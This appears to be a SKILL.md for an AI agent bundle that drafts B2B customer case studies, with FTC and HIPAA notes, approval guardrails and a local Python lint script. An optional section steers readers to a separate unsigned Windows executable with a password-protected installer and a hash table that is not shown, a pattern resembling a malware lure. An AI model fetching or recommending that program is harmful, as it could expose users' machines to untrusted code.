Case Study Writer

Turns customer interview notes into a structured case study with a challenge, a solution, real numbers and an approved quote. Written for US B2B marketers and sales teams that publish customer proof.

Use this skill when someone asks for:

• case study template
• customer case study writer
• b2b case study structure
• customer success story writer

The job

Sales writes case studies as a feature list with the customer logo on top, so readers do not believe the numbers.

What you get

1. Collect the interview notes, the customer's goals, the metrics and the quote approval.
2. Write the challenge and the solution in the customer's language, not the product's.
3. Show the before and the after with the numbers the customer confirmed.
4. Run the section and phrase checks so no metric or quote ships without approval.

Output contract:

• case_study - customer, challenge, solution, results and next steps
• results - the before and after metrics with the source of each number
• quote - the customer quote with the name, the role and the approval status
• gaps - missing sections, unapproved quotes and metrics with no source

US specifics that matter

• The FTC's Endorsement Guides require a testimonial to reflect the endorser's honest opinion and to disclose a material connection, so a quote from a paying customer needs a disclosure where it appears.
• The FTC says a claim about typical results needs a disclosure that results vary, unless the result is representative.
• HIPAA's Privacy Rule applies when a covered entity shares patient information, so a healthcare case study cannot name patients or include protected health information.
• The FTC's 2024 rule on consumer reviews and testimonials lets it seek penalties for fake or bought reviews, so only real customer words can be used.

Guardrails (hard rules)

• Never publish a quote, a metric or a result the customer has not approved in writing.
• Never present one customer's result as typical without a representative-data confirmation.
• Never include protected health information, or a customer name, without a written release.

Quickstart

1. Fill in the brief

templates/case-study-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/lint_case_study.py --input case-study-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/case-study-structure.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Six sections that carry a case study

• Customer and context: who they are and what they were trying to do.
• Challenge: the specific problem and what it was costing them.
• Solution: what changed, in plain language.
• Results: the before and after numbers the customer confirmed.
• Quote: one line from the customer, with name, role and approval.
• Next step: the single action the reader should take.

Proving the results

• Keep the source of every number next to the number in the brief.
• Label what was measured, when it was measured and over what period.
• If the result belongs to one customer, do not present it as typical.

Permissions to collect first

• A written release naming the company, the person and the exact wording.
• Confirmation that any metric shown is approved for public use.
• For healthcare stories, a written check that no protected health information appears.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/case-study-structure.md - Building a case study that survives legal review
• templates/case-study-brief.yaml - the brief to fill in
• scripts/lint_case_study.py - the working script

Verify the bundle

python3 scripts/lint_case_study.py --input case-study-brief.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.